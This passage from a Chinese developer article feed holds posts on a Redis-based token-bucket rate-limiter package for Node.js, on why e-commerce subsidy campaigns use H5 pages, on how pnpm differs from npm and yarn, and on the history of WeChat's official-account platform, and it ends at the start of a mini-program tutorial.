  • 快速,使用 lua 脚本与redis通讯,lua 支持将多个请求通过脚本的形式一次发送到服务器,减少通讯,并且脚本支持缓存,多客户端可以复用

  • 安全,lua 脚本保证redis命令执行的原子性

  • 内存效率高,键过期后自动删除,不占用过多内存

  • 提供多种极端场景下的降级和容错措施



其他限流方法的对比,大家可以自行搜索,这里就不赘述了,令牌桶算法是更适合大部分场景的限流方案。


令牌桶算法:按照一定的速率生产令牌并放入令牌桶中,最大容量为桶的容量,如果桶中令牌已满,则丢弃令牌,请求过来时先到桶中拿令牌,拿到令牌则放行通过,否则拒绝请求。这种算法能够把请求均匀的分配在时间区间内,又能接受服务可承受范围内的突发请求。所以令牌桶算法在业内较为常用。




该项目github地址:token-bucket-limiter-redis



安装


npm i --save token-bucket-limiter-redis

引入


import { RateLimiterTokenBucket, RateLimiterTokenBucketRedis } from 'token-bucket-limiter-redis';

使用


限流方案我们分为无状态限流器和有状态限流器两种:


有状态的限流器(区分key的限流器):这种限流器会根据某种标识(如IP地址、用户ID、url等)来进行区分,并对每个标识进行单独的限流。可以更精细地控制每个用户或者每个IP的访问频率。


无状态的限流器(不区分key的限流器):这种限流器不会区分请求的来源,只是简单地对所有请求进行统一的限制。


基于内存的无状态限流器


const globalRateLimiter = new RateLimiterTokenBucket({
tokenPerSecond: 100,
capacity: 1000,
});

const globalTokens = globalRateLimiter.getToken();

if(globalTokens > 0){
// pass
}


基于内存的有状态限流器,自定义key


const globalRateLimiter = new RateLimiterTokenBucket({
tokenPerSecond: 5,
capacity: 5,
keyPrefix: 'test', // 指定限流器所属项目或模块
});

const key = ip + uid; // 标识用户信息的key

const globalTokens = globalRateLimiter.getToken(key);

if(globalTokens > 0){
// pass
}


这里附上 node 端获取ip的方法



function getClientIp(req) {
// 获取 X-Real-IP 头部字段
const xRealIP = req.headers['x-real-ip'];

// 优先使用 X-Real-IP 头部字段
if (xRealIP) {
return xRealIP;
}

// 获取 X-Forwarded-For 头部字段,通常包含一个或多个IP地址,最左侧的是最初的客户端IP
const xForwardedFor = req.headers['x-forwarded-for'];

// 如果 X-Real-IP 不存在,但 X-Forwarded-For 存在,则使用最左侧的IP地址
if (xForwardedFor) {
const ipList = xForwardedFor.split(',');
return ipList[0].trim();
}

// 获取连接的远程IP地址
const remoteAddress = req.connection?.remoteAddress;
// 如果都不存在,使用连接的远程IP地址
if (remoteAddress) {
return remoteAddress;
}

return '';
}

基于内存的有状态限流器,使用ip作为默认key


const globalRateLimiter = new RateLimiterTokenBucket({
tokenPerSecond: 5,
capacity: 5,
keyPrefix: 'test', // 指定限流器所属项目或模块
});

// 使用 ip 作为key,无需传入,自动获取ip
const globalTokens = globalRateLimiter.getTokenUseIp(req);

// 使用 ip 加上自定义的其他key,如传入则组合在ip后 ip+uid
const globalTokens = globalRateLimiter.getTokenUseIp(req, uid);

if(globalTokens > 0){
// pass
}



注意,单纯使用ip作为限流key可能会有问题,有以下几种可能过个机器的外网ip相同的情况:



  • 使用共享的公共 IP 地址: 在一些特殊的网络环境下,多个设备可能共享同一个公共 IP 地址,如咖啡馆、图书馆等提供 Wi-Fi 服务的地方。在这种情况下,所有连接到同一网络的设备都会共享相同的公共 IP。

  • 使用代理服务器: 如果多个机器通过相同的代理服务器访问互联网,它们可能会在外网上表现为相同的 IP 地址,因为代理服务器向互联网发起请求,而不是直接来自每个终端设备。

  • 使用 NAT(网络地址转换): 在家庭或企业网络中,使用了 NAT 技术的路由器可能会导致多个内部设备共享同一个外网 IP 地址,同一公司下的内网设备公网ip可能是同一个。



综上,如果你需要考虑以上集中情况的话,你需要结合其他可以标识用户身份的key,如uid,浏览器指纹等:


// 使用 ip 加上自定义的其他key,如传入则组合在ip后 ip+uid
const globalTokens = globalRateLimiter.getTokenUseIp(req, uid);

附上浏览器指纹获取方法:


function generateFingerprint() {
try {
// 收集一些浏览器属性
const userAgent = navigator.userAgent || '';
const screenResolution = `${window.screen.width}x${window.screen.height}`;
const language = navigator.language || '';
const platform = navigator.platform || '';

// 将这些属性组合成一个简单的指纹
const fingerprint = userAgent + screenResolution + language + platform;

// 返回指纹
return fingerprint;
} catch (error) {
return '';
}
}

在 express 中使用


const express = require('express');
const app = express();

const globalRateLimiter = new RateLimiterTokenBucket({
tokenPerSecond: 5,
capacity: 5,
keyPrefix: 'test', // 指定限流器所属项目或模块
});

// 全局中间件
app.use((req, res, next) => {
console.log('Express global middleware');
// 使用 ip 作为key,无需传入,自动获取ip
const tokens = globalRateLimiter.getTokenUseIp(req);

if(tokens > 0){
next();
}else {
res.status(429).send({ message: 'Too Many Requests' })
}
});

app.listen(3000, () => {
console.log('Express app listening on port 3000');
});

在 koa 中使用


const Koa = require('koa');
const app = new Koa();

const globalRateLimiter = new RateLimiterTokenBucket({
tokenPerSecond: 5,
capacity: 5,
keyPrefix: 'test',
});

// 全局中间件
app.use(async (ctx, next) => {
console.log('Koa global middleware');
// 使用 ip 作为 key,无需传入,自动获取 ip
const tokens = globalRateLimiter.getTokenUseIp(ctx.req);

if (tokens > 0) {
await next();
} else {
ctx.status = 429;
ctx.body = { message: 'Too Many Requests' };
}
});

app.listen(3000, () => {
console.log('Koa app listening on port 3000');
});


在 fastify 中使用


const fastify = require('fastify')();

const globalRateLimiter = new RateLimiterTokenBucket({
tokenPerSecond: 5,
capacity: 5,
keyPrefix: 'test',
});

// 全局中间件
fastify.addHook('onRequest', (request, reply, done) => {
console.log('Fastify global middleware');
// 使用 ip 作为 key,无需传入,自动获取 ip
const tokens = globalRateLimiter.getTokenUseIp(request);

if (tokens > 0) {
done();
} else {
reply.status(429).send({ message: 'Too Many Requests' });
}
});

fastify.listen(3000, (err) => {
if (err) throw err;
console.log('Fastify app listening on port 3000');
});


基于redis的无状态限流器,传入redis客户端


支持分布式限流,外部传入redis客户端 (由ioredis包创建)


import Redis from 'ioredis';

const redis = new Redis({});

const globalRateLimiter = new RateLimiterTokenBucketRedis({
tokenPerSecond: 100,
capacity: 1000,
keyPrefix: 'test', // 指定限流器所属项目或模块
redisClient: redis,
});

const key = 'myproject'; // 使用全局唯一key (当key省略时,默认为RateLimiterTokenBucketGlobalKey)

const globalTokens = globalRateLimiter.getToken(key);

if(globalTokens > 0){
// pass
}


基于redis的有状态限流器,传入redis客户端


支持分布式限流,外部传入redis客户端 (ioredis)


import Redis from 'ioredis';

const redis = new Redis({});

const globalRateLimiter = new RateLimiterTokenBucketRedis({
tokenPerSecond: 5,
capacity: 5,
keyPrefix: 'test', // 指定限流器所属项目或模块
redisClient: redis,
});

const key = ip + uid; // 标识用户信息的key
const globalTokens = globalRateLimiter.getToken(key);

// 使用 ip 作为key
const globalTokens = globalRateLimiter.getTokenUseIp(req);

// 使用 ip + 自定义key
const globalTokens = globalRateLimiter.getTokenUseIp(req, key);

if(globalTokens > 0){
// pass
}


基于redis的有状态限流器,使用内置redis


外部仅需传入redis配置(ioredis)


const redisOptions = {
port: 6379, // Redis 端口
host: 'localhost', // Redis 主机名
password: 'password' // 如果有的话,你的 Redis 密码
db: 0,
};

const globalRateLimiter = new RateLimiterTokenBucketRedis({
tokenPerSecond: 5,
capacity: 5,
keyPrefix: 'test', // 指定限流器所属项目或模块
redisOptions: redis,
});

const key = ip + uid; // 标识用户信息的key

const globalTokens = globalRateLimiter.getToken(key);

if(globalTokens > 0){
// pass
}


添加内存阻塞策略


内存阻塞策略可以保护redis服务器,抵御DDoS攻击


const redisOptions = {
port: 6379, // Redis 端口
host: 'localhost', // Redis 主机名
password: 'password' // 如果有的话,你的 Redis 密码
db: 0,
};

const globalRateLimiter = new RateLimiterTokenBucketRedis({
tokenPerSecond: 5,
capacity: 5,
keyPrefix: 'test', // 指定限流器所属项目或模块
redisOptions: redis,

// 内存阻塞策略(只计算当前服务器或实例的请求数,非分布式)
inMemoryBlockOnConsumed: 50, // 如果某个key在一分钟内消耗的令牌数量超过 50,将在内存中阻塞该key的请求,不会发起redis,防止DDoS攻击
inMemoryBlockDuration: 10, // 阻塞持续时间s
});

const key = ip + uid; // 标识用户信息的key

const globalTokens = globalRateLimiter.getToken(key);

if(globalTokens > 0){
// pass
}


getToken 方法支持第二个参数,传入判断阻塞的标识键,通常是ip或用户id,因为我们要阻塞的是某个具体的用户或机器,不传的话默认使用第一个参数,即令牌标识键。


当你使用无状态限流器,或是有状态限流器的键无法标识某个具体用户时可能需要填写该参数:


const key = 'myproject'; // 无状态限流器
const key = 'url'; // 有状态限流器,但是只限制某个路由

const blockKey = 'ip'; // 阻塞标识键须使用ip或用户id

const globalTokens = globalRateLimiter.getToken(key, blockKey);

// 使用 ip + 自定义key
const globalTokens = globalRateLimiter.getTokenUseIp(req, key, blockKey);

if(globalTokens > 0){
// pass
}


内存阻塞策略优先于redis限流器以及redis保险策略,即使redis不可用时内存阻塞策略依旧生效。


添加保险策略,配置当redis服务错误时是否自动使用内存限制器


const redisOptions = {
port: 6379, // Redis 端口
host: 'localhost', // Redis 主机名
password: 'password' // 如果有的话,你的 Redis 密码
db: 0,
};

const globalRateLimiter = new RateLimiterTokenBucketRedis({
tokenPerSecond: 5,
capacity: 5,
keyPrefix: 'test', // 指定限流器所属项目或模块
redisOptions: redis,

// 内存阻塞策略
inMemoryBlockOnConsumed: 50, // 如果某个key在一分钟内消耗的令牌数量超过 50,将在内存中阻塞该key的请求,不会发起redis,防止DDoS攻击
inMemoryBlockDuration: 10, // 阻塞持续时间s

// 保险策略,使用内存限流器
insuranceLimiter: true,
insuranceLimiterTokenPerSecond: 3, // 如果未填写将取tokenPerSecond的值
insuranceLimiterCapacity: 3, // 如果未填写将取capacity的值
});

const key = ip + uid; // 标识用户信息的key

const globalTokens = globalRateLimiter.getToken(key);

if(globalTokens > 0){
// pass
}


开启保险策略后,支持传入保险限制器的每秒令牌数和令牌桶容量,如果不传,将取redis限流器的值。


当你的服务是集群部署时,例如使用 pm2 的集群模式时,会用到这些选项,因为使用redis时令牌是共享的,而集群模式下每个服务是一个实例,每个实例有自己的内存空间,所以你要适当地考虑使用内存限流器时每个实例的限流速率。


注意事项



  1. 基于内存的限流器更适用于单机限流的场景,集群或分布式部署时,如果你不能计算出每一个实例的合适限流配置的话推荐使用基于redis的限流器。


FAQ


不使用定时器生成令牌有什么好处?


时间精度:定时器的精度可能会受到系统调度和网络延迟的影响,这可能导致令牌的生成速率无法精确控制。


资源消耗:如果令牌桶的数量非常多,那么需要维护的定时器也会非常多,这可能会消耗大量的系统资源。


时间同步:由于精度问题,如果系统中存在多个令牌桶,且每个令牌桶都使用自己的定时器,那么这些定时器之间可能并不同步。


冷启动问题:如果使用定时器生成令牌,那么在服务刚启动时,令牌桶可能会是空的,这可能导致在服务启动初期无法处理请求。


除了ip还有哪些可以标识具体用户的key



  • 浏览器指纹

  • 用户id

  • 用户名

  • 邮箱

  • 手机号

  • 其他可以标识用户身份的key


// 生成浏览器指纹
export function generateFingerprint() {
try {
// 收集一些浏览器属性
const userAgent = navigator.userAgent || '';
const screenResolution = `${window.screen.width}x${window.screen.height}`;
const language = navigator.language || '';
const platform = navigator.platform || '';

// 将这些属性组合成一个简单的指纹
const fingerprint = userAgent + screenResolution + language + platform;

// 返回指纹
return fingerprint;
} catch (error) {
return '';
}
}

作者:Pursue_LLL
来源:juejin.cn/post/7454095190379888666
收起阅读 »

百亿补贴为什么用 H5?H5 未来会如何发展?

web
23 年 11 月末,拼多多市值超过了阿里。我想写一篇《百亿补贴为什么用 H5》,没有动笔;24 年新年,我想写一篇《新的一年,H5 会如何发展》,也没有动笔。 眼看着灵感烂在手里,我决定把两篇文章合为一篇,与你分享。提前说明,我并非百亿补贴的开发人员,本文的...
继续阅读 »

23 年 11 月末,拼多多市值超过了阿里。我想写一篇《百亿补贴为什么用 H5》,没有动笔;24 年新年,我想写一篇《新的一年,H5 会如何发展》,也没有动笔。


眼看着灵感烂在手里,我决定把两篇文章合为一篇,与你分享。提前说明,我并非百亿补贴的开发人员,本文的内容是我的推理。


拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的 H5、小程序武学。


我的证据


在 Android 开发者模式下,开启显示布局边界,你可以看到「百亿补贴」是一个完整大框,这说明「百亿补贴」在 App 内是 H5。拷贝分享链接,在浏览器打开,可以看到资源中有 React,说明「百亿补贴」技术栈是 React。


pdd-stack.png


不只是拼多多,利用同样的方法,你可以发现京东、淘宝的「百亿补贴」技术栈也是 H5。


pdd-jd-taobao.png


那么,为什么电商巨头会选择做「百亿补贴」时会选择 H5 呢?


我的推理逻辑


解答问题前,我先说明下推理逻辑。巨头可能选择 H5 的原因千千万万,但最有说服力的原因,肯定具有排他性


什么是排他性?


举个例子,成功人物为什么成功,如果我回答「成功人士会喝水」,你肯定不满意。如果我回答「成功人士坚持不懈」,你会更满意一些。喝水分明是成功人士成功的原因,不喝水人会渴死,没办法成功。你为什么对这个答案不满意呢?


因为「喝水」不具备排他性,普通人也会喝水;而「坚持不懈」比「喝水」更具排他性,大部分普通人没有这个特质。


按照排他性,我需要说明百亿补贴只有 H5 能干,其他技术栈不能干,这样才有说服力。


百亿补贴为什么用 H5?


现在进入正题。粗略来看,大前端的技术栈分为 Native 和跨平台两大类。前者包括 3 小类,分别是 Android、iOS、纯血鸿蒙;后者也包括 3 小类,分别是基于 Web 的方案、基于系统 UI 框架的方案(比如 React Native)、自己绘制 UI 的方案(比如 Flutter)。


其中,基于 Web 的方案,又可以细分为纯 H5 和 DSL 转 H5(比如 Taro)。


graph TB;
大前端 --> Native;
Native --> Android;
Native --> iOS;
Native --> 纯血鸿蒙;
大前端 --> 跨平台;
跨平台 --> 基于Web的方案;
跨平台 --> 基于系统UI框架的方案;
跨平台 --> 自己绘制UI的方案;
基于Web的方案 --> H5;
基于Web的方案 --> DSL转H5;

我们需要排除 H5 外的其他方案。


原因一:百亿补贴迭代频繁


百亿补贴的业务形式,是一个常住 H5,搭配上多个流动 H5。(「常住」和「流动」是我借鉴「常住人口」和「流动人口」造的词)



  • 常住 H5 链接保持不变,方便用户二次访问。

  • 流动 H5 链接位于常住 H5 的不同位置,方便分发用户流量。


具体到拼多多,它至少有 3 个流量的分发点,可点击的头图、列表上方的活动模块和侧边栏,3 者可以投放不同链接。下图分别投放了 3.8 女神节链接、新人链接和品牌链接:


pdd-activity.png


可以想到,几乎每到一个节日、每换一个品牌,「百亿补贴」就需要更新一次。


这样频繁的迭代,框架必须满足快速开发、快速部署、一次开发多端复用条件。因此可以排除掉 Native 技术栈,留下动态化技术栈。


原因二:百亿补贴需要投放小程序和其他 App


如图所示,你可以在微信上搜索拼多多,可以看到百亿补贴不仅在 App 上投放,还在微信小程序里投放。


pdd-wx.png


此时我们几乎可以排除掉 React Native 和 Flutter 技术栈。因为社区虽然有方案让 React Native、Flutter 适配小程序,但并不成熟,不适合用到生产项目中。


此外,如果你在抖音、B 站和小红书搜索百亿补贴,你可以看到百亿补贴在这些 App 上都有投放广告。


pdd-advertisement.png


这点可以完全排除 React Native 和 Flutter 技术栈。据我所知,目前没有主流 App,会愿意让第三方在自己的 App 里运行 React Native 和 Flutter。


原因三:百亿补贴核心流量在 APP


现在只剩下了基于 Web 的 2 种技术方案,也就是 H5 和 DSL 转出来的 H5(比如 Taro)。


百亿补贴的 HTML 结果,更符合原生 H5 的组织结构,而不是 Taro 这种 DSL 转出来的结构。


我对此的解释是,百亿补贴的核心流量在 App。核心流量在 APP 时。投放小程序是锦上添花,把 H5 嵌入到小程序 Webview 就能满足要求,不需要卷性能。


如果百亿补贴的核心流量在小程序,那么大概率就会使用 DSL 框架,转出来小程序代码和 H5 代码。


综上所述,迭代频繁、需要投放小程序和其他 App,核心流量在 App,是百亿补贴选择 H5 的 3 个主要原因。


H5 未来会如何发展


知道百亿补贴选择 H5 的 3 个原因后,我们可以得到结论,如果 3 个前提不变,未来很长一段时间内,H5 依然是电商活动的主流方案。


不过,主流方案并不意味着一成不变,我认为未来 H5 会有 2 个发展趋势:


趋势一:离线包、SSR 比例增加


H5 有诸多优势的同时,也有着先天缺陷,那就是下载成功率低、容易白屏。


解决这个问题,社区主流的两个方案是离线包和 SSR。


离线包可以将网页的静态资源(如 HTML、CSS、JS、图片等)缓存到本地,用户访问 H5 页面时,可以直接读取本地的离线资源,从而提升页面的加载速度。阿里云腾讯云等云服务商都有自己的离线包方案。


SSR 即服务器端渲染,它可以减少白屏时间,让用户更快看到页面。传统的 CSR(客户端渲染)初始时只渲染空白的 HTML 框架,然后再去获取数据并渲染内容。而在 SSR 中,服务器在接收到客户端请求时,会在服务器端利用数据和模板生成完整的 HTML 页面,再把页面发送给客户端浏览器。


不难想到,业务陷入瓶颈后,企业开始看中性能,大部分前端开发者都会来卷一卷离线包、 SSR,它们的比例会进一步增加。


趋势二:定制化要求苛刻


近年 C 端市场增长缓慢,企业重点从扩张新客,变成留存老客。


这个背景下,定制化要求变得越来越苛刻,目的是让用户区分各种活动。用互联网黑话来说,就是「建立用户心智」。


下面是拼多多、京东、淘宝、12306、中国移动和招商银行的活动 H5,尽管它们结构都差不多,但长得是千奇百怪。


fluid.png


12306-yidong-zhaoshang.png


我估计未来,电商活动 H5 的外观将变得极具个性,各位前端同学可以在卷卷 CSS、动效方向。


总结


本文介绍了我认为「百亿补贴」会选用 H5 的 3 大原因:



  • 百亿补贴迭代频繁

  • 百亿补贴需要投放小程序、其他 App

  • 百亿补贴核心流量是自己的 App


以及我 H5 未来发展趋势的 2 个预测:



  • 离线包、SSR 比例增加

  • 定制化要求苛刻


拳打 H5,脚踢小程序。我是「小霖家的混江龙」,关注我,带你了解更多实用的 H5、小程序武学。


作者:小霖家的混江龙
来源:juejin.cn/post/7344325496983732250
收起阅读 »

pnpm 的崛起:如何降维打击 npm 和 yarn🫡

web
今天研究了一下 pnpm 的机制,发现它确实很强大,甚至可以说对 yarn 和 npm 形成了降维打击 我们从包管理工具的发展历史,一起看下到底好在哪里? npm2 在 npm 3.0 版本之前,项目的 node_modules 会呈现出嵌套结构,也就是说,我...
继续阅读 »

今天研究了一下 pnpm 的机制,发现它确实很强大,甚至可以说对 yarnnpm 形成了降维打击


我们从包管理工具的发展历史,一起看下到底好在哪里?


npm2


在 npm 3.0 版本之前,项目的 node_modules 会呈现出嵌套结构,也就是说,我安装的依赖、依赖的依赖、依赖的依赖的依赖...,都是递归嵌套的


node_modules
├─ express
│ ├─ index.js
│ ├─ package.json
│ └─ node_modules
│ ├─ accepts
│ │ ├─ index.js
│ │ ├─ package.json
│ │ └─ node_modules
│ │ ├─ mime-types
| | | └─ node_modules
| | | └─ mime-db
| │ └─ negotiator
│ ├─ array-flatten
│ ├─ ...
│ └─ ...
└─ A
├─ index.js
├─ package.json
└─ node_modules
└─ accepts
├─ index.js
├─ package.json
└─ node_modules
├─ mime-types
| └─ node_modules
| └─ mime-db
└─ negotiator

设计缺陷


这种嵌套依赖树的设计确实存在几个严重的问题



  1. 路径过长问题: 由于包的嵌套结构 , node_modules 的目录结构可能会变得非常深,甚至可能会超出系统路径长度上限 ,毕竟 windows 系统的文件路径默认最多支持 256 个字符

  2. 磁盘空间浪费: 多个包之间难免会有公共的依赖,公共依赖会被多次安装在不同的包目录下,导致磁盘空间被大量浪费 。比如上面 express 和 A 都依赖了 accepts,它就被安装了两次

  3. 安装速度慢:由于依赖包之间的嵌套结构,npm 在安装包时需要多次处理和下载相同的包,导致安装速度变慢,尤其是在依赖关系复杂的项目中


当时 npm 还没解决这些问题, 社区便推出了新的解决方案 ,就是 yarn。 它引入了一种新的依赖管理方式——扁平化依赖。


看到 yarn 的成功,npm 在 3.0 版本中也引入了类似的扁平化依赖结构


yarn


yarn 的主要改进之一就是通过扁平化依赖结构来解决嵌套依赖树的问题


具体来说铺平,yarn 尽量将所有依赖包安装在项目的顶层 node_modules 目录下,而不是嵌套在各自的 node_modules 目录中。


这样一来,减少了目录的深度,避免了路径过长的问题 ,也尽可能避免了依赖被多次重复安装的问题


|350


我们可以在 yarn-example 看到整个目录,全部铺平在了顶层 node_modules 目录下,展开下面的包大部分是没有二层 node_modules


然而,有些依赖包还是会在自己的目录下有一个 node_modules 文件夹,出现嵌套的情况,例如 yarn-example 下的http-errors 依赖包就有自己的 node_modules,原因是:


当一个项目的多个依赖包需要同一个库的不同版本时,yarn 只能将一个版本的库提升到顶层 node_modules 目录中。 对于需要这个库其他版本的依赖,yarn 仍然需要在这些依赖包的目录下创建一个嵌套的 node_modules 来存放不同版本的包


比如,包 A 依赖于 lodash@4.0.0,而包 B 依赖于 lodash@3.0.0。由于这两个版本的 lodash 不能合并,yarn 会将 lodash@4.0.0 提升到顶层 node_modules,而 lodash@3.0.0 则被嵌套在包 B 的 node_modules 目录下。


幽灵依赖


虽然 yarn 和 npm 都采用了扁平化的方案来解决依赖嵌套的问题,但这种方案本身也有一些缺陷,其中幽灵依赖是一个主要问题。


幽灵依赖,也就是你明明没有在 package.json 文件中声明的依赖项,但在项目代码里却可以 require 进来
这个也很容易理解,因为依赖的依赖被扁平化安装在顶层 node_modules 中,所以我们能访问到依赖的依赖


但是这样是有隐患的,因为没有显式依赖,未来某个时候这些包可能会因为某些原因消失(例如新版本库不再引用这个包了,然后我们更新了库),就会引发代码运行错误


浪费磁盘空间


而且还有一个问题,就是上面提到的依赖包有多个版本的时候,只会提升一个,那其余版本的包不还是复制了很多次么,依然有浪费磁盘空间的问题


那社区有没有解决这俩问题的思路呢? pnpm 就是其中最成功的一个


pnpm


pnpm 通过全局存储和符号链接机制从根源上解决了依赖重复安装和路径长度问题,同时也避免了扁平化依赖结构带来的幽灵依赖问题
pnpm 的优势概括来说就是“快、准、狠”:



  • 快:安装速度快

  • 准:安装过的依赖会准确复用缓存,甚至包版本升级带来的变化都只 diff,绝不浪费一点空间

  • 狠:直接废掉了幽灵依赖


执行 npm add express,我们可以在 pnpm-example 看到整个目录,由于只安装了 express,那 node_modules 下就只有 express


|400


那么所有的(次级)依赖去哪了呢? binggo,在node_modules/.pnpm/目录下,.pnpm/ 以平铺的形式储存着所有的包


|400


三层寻址



  1. 所有 npm 包都安装在全局目录 ~/.pnpm-store/v3/files 下,同一版本的包仅存储一份内容,甚至不同版本的包也仅存储 diff 内容。

  2. 顶层 node_modules 下有 .pnpm 目录以打平结构管理每个版本包的源码内容,以硬链接方式指向 pnpm-store 中的文件地址。

  3. 每个项目 node_modules 下安装的包以软链接方式将内容指向 node_modules/.pnpm 中的包。
    所以每个包的寻找都要经过三层结构:node_modules/package-a > 软链接 node_modules/.pnpm/package-a@1.0.0/node_modules/package-a > 硬链接 ~/.pnpm-store/v3/files/00/xxxxxx


    这就是 pnpm 的实现原理。官方给了一张原理图,可以搭配食用


    |600


    前面说过,npm 包都被安装在全局 pnpm store ,默认情况下,会创建多个存储(每个驱动器(盘符)一个),并在项目所在盘符的根目录


    所以,同一个盘符下的不同项目,都可以共用同一个全局 pnpm store,绝绝子啊👏,大大节省了磁盘空间,提高了安装速度


    |600



软硬链接


也就是说,所有的依赖都是从全局 store 硬连接到了 node_modules/.pnpm 下,然后之间通过软链接来相互依赖。


那么,这里的软连接、硬链接到底是什么东西?


硬链接是指向磁盘上原始文件所在的同一位置 (直接指向相同的数据块)


软连接可以理解为新建一个文件,它包含一个指向另一个文件或目录的路径 (指向目标路径)



总结


npm2 的嵌套结构: 每个依赖项都会有自己的 node_modules 目录,导致了依赖被重复安装,严重浪费了磁盘空间💣;在依赖层级比较深的项目中,甚至会超出 windows 系统的文件路径长度💣


npm3+ 和 Yarn 的扁平化策略: 尽量将所有依赖包安装在项目的顶层 node_modules 目录下,解决了 npm2 嵌套依赖的问题。但是该方案有一个重大缺陷就是“幽灵依赖”💣;而且依赖包有多个版本时,只会提升一个,那其余版本依然会被重复安装,还是有浪费磁盘空间的问题💣


pnpm全局存储和符号链接机制: 结合软硬链和三层寻址,解决了依赖被重复安装的问题,更加变态的是,同一盘符下的不同项目都可以共用一个全局 pnpm store。节省了磁盘空间,并且根本不存在“幽灵依赖”,安装速度还贼快💪💪💪


作者:柏成
来源:juejin.cn/post/7410923898647461938
收起阅读 »

微信公众平台:天下之事合久必分分久必合

web
微信公众平台的故事,还得从 “再小的个体,也有自己的品牌” 的 Slogan 开始说起。 时间线开始 2012年8月17日 这一天,微信公众平台正式向普通用户开放,也就从这一天开始,普通人可以在微信上注册属于自己个人或组织的公众号。 2012年8月23日 这...
继续阅读 »

QQ_1734967828741.png


微信公众平台的故事,还得从 “再小的个体,也有自己的品牌” 的 Slogan 开始说起。


QQ_1734972139162.png


时间线开始


2012年8月17日


这一天,微信公众平台正式向普通用户开放,也就从这一天开始,普通人可以在微信上注册属于自己个人或组织的公众号。


2012年8月23日


这一天,微信公众平台正式上线。各大博主、媒体纷纷注册加入了这个平台,开始在微信公众平台上创作,建立自己的读者圈子,打造自己的IP。


2012年11月29日


从这天起,微信图文群发系统升级发布,图文并茂的文章可以通过微信公众平台发送给关注的粉丝了。


这时候,很多企业嗅到了春天来临的味道,招聘互联网编辑的岗位越来越多。


2013年2月6日


这一天,微信的公众号支持开发者模式了,开发者们的春天(噩梦)开始了。


很多公众号开始提供更多的功能了,比如微信公众平台文档里十年没变的那些什么话费查询、机票航班查询等:



于是公众平台开始对外提供了 “火警请按119,急救请按120” 的鸡肋开发能力——关键词回复、关注消息等。



虽然十多年过去了,我依然碰到了很多人不太理解微信公众号的这玩意的交互流程……


2013年3月19日


2013年3月20日,公众平台灰度了“自定义菜单”,当然,还只是内测。


此时的微信公众号,除了可以推送消息之外,也支持在后台编辑公众号菜单,指定菜单可以回复不同的内容或者打开一个 URL。


2013年8月5日


这天,微信发布了 v5.0 大版本,同时也带来了很多好玩的东西。


为了区分平台内公众号的各种主体,微信公众号在这一天分了家:订阅号 + 服务号。


区别在哪呢?



嗯,内测的自定义菜单给服务号开放了。但是阉割了服务号群发的频率:每月4条。



同时,对可申请的主体也做了限制:



个人只能申请订阅号了。组织类不限制。



然后当年很糟心,但现在很开心的事情发生了:订阅号从消息列表折叠到了 “订阅号” 栏目里。


好,很直接。



不过直至今日,服务号依然还可以在消息列表中直接显示。



2013年10月29日


这天,微信公众平台推出了认证的功能,认证之后有一些特权:



  • 语音识别、客服接口、获取用户地理位置、获取用户基本信息、获取关注列表和用户分组接口的权限

  • 仅认证服务号支持的 OAuth2.0网页授权、生成带参数二维码 等

  • 认证了可以送你一个



此时,微信公众号支持通过 腾讯微博新浪微博 等第三方平台的认证来同步认证服务号。此时不管是个人还是组织的号,都可以认证。但是还没有充值即认证的功能。



我猜是运营开始往赚钱上靠了,毕竟 不充钱的腾讯产品不是好产品。


2013年12月24日


说时迟那是快,这不就来了。


从今天起,你可以花 300 块钱来认证你的号了,前提是,你得是 组织 号,个人的不支持。(当然,部分类型的主体认证是不收费的,比如 政务 媒体 等)


2014年3月


今天,微信公众平台支持接入微信支付了。不过,无论你是订阅号还是服务号,都需要通过企业认证之后,再申请开通微信支付。


这一年,开发者们忙起来了。


创建订单、创建支付请求参数、签名、回调处理、支付结果查询 等等事情接踵而至。


微信开发者的圈子和生态慢慢的繁荣了起来。


2014年9月18日



哎,到哪都逃不掉 ToBCURD 业务。



随着微信开发者生态的繁荣,微信意识到了很多开发者在微信的服务号上做 ToB 的业务,要不要独立一个出来呢?


那就叫 企业号 吧,于是微信公众号的第三个兄弟也来了。


在2014年-2017年这段时间,有一个网站很火,叫 很*微信开发者社区(weixin.com)请记住这个名字,一会要考。


2016年1月11日


2016微信公开课PRO版在广州举行,那个男人(张小龙,微信之父) 首次公开演讲。


这天,张小龙说,微信要做 应用号,要让用户 用完即走


2016年5月


这段时间,上面的社区使用的 weixin.com 最终被南山必胜客拿下。手动狗头:)


2016年9月22日


微信开始内测 小程序。又一次噩梦开始了。


2016年11月3日


微信开始公测 小程序


2017年1月9日


微信小程序 正式上线。



小应用?应用号?



2017年6月29日


随着企业号的发展,微信意识到这与微信的个人社交出现了很多的冲突,于是,微信在2017年6月29日,抽离出了企业微信,牛马们开始使用这个工具来为老板创收了。


2017年12月28日


微信小游戏上线,大家一起来 打飞机


2020年1月22日


微信视频号开始内测,本文讲的微信公众平台系列故事本以为到此会结束了。然而:


2024年11月


这个月,微信把 订阅号 改名为 公众号 了。



服务号:那我呢???



我怎么总觉得有大事要发生?


最近


个人可以注册服务号了,而且注册的服务号依然是在消息列表里,还没有被折叠。



企业:??? 当年费劲巴力注册了服务号,一个月还只有四条,我的特权呢???



当然,目前注册的服务号都是没有认证的,我试了试,目前个人主体的服务号不支持认证。也就是所有的高级开发接口权限一个都没有。


我还是觉得要有大事发生了。



完全没看懂微信公众平台这个骚操作。



总结


今天简单聊了聊微信公众平台的一些小故事,如有错误,欢迎评论区指正和讨论。


只是作为曾经风风火火的微信公众平台开发者,心里感慨颇多。


Bye.


作者:Hamm
来源:juejin.cn/post/7451561994799890483
收起阅读 »

手把手教你做个煎饼小程序,摊子开起来

web
前言 周饼伦在街头摊煎饼,摊后人群熙熙攘攘。他忙得不可开交,既要记住面前小哥要加的培根,又要记住身后奶奶要加的生菜,这时又来了个小妹妹,点的煎饼既要培根又要腊肠。他把鸡蛋打进煎饼后,竟突然忘了前面光头大叔要加的料,是火腿还是鸡柳?一时记不清,好像是火腿,对。然...
继续阅读 »

前言


周饼伦在街头摊煎饼,摊后人群熙熙攘攘。他忙得不可开交,既要记住面前小哥要加的培根,又要记住身后奶奶要加的生菜,这时又来了个小妹妹,点的煎饼既要培根又要腊肠。他把鸡蛋打进煎饼后,竟突然忘了前面光头大叔要加的料,是火腿还是鸡柳?一时记不清,好像是火腿,对。然而当把煎饼交给大叔,大叔却怒了,说要的是鸡柳。😡


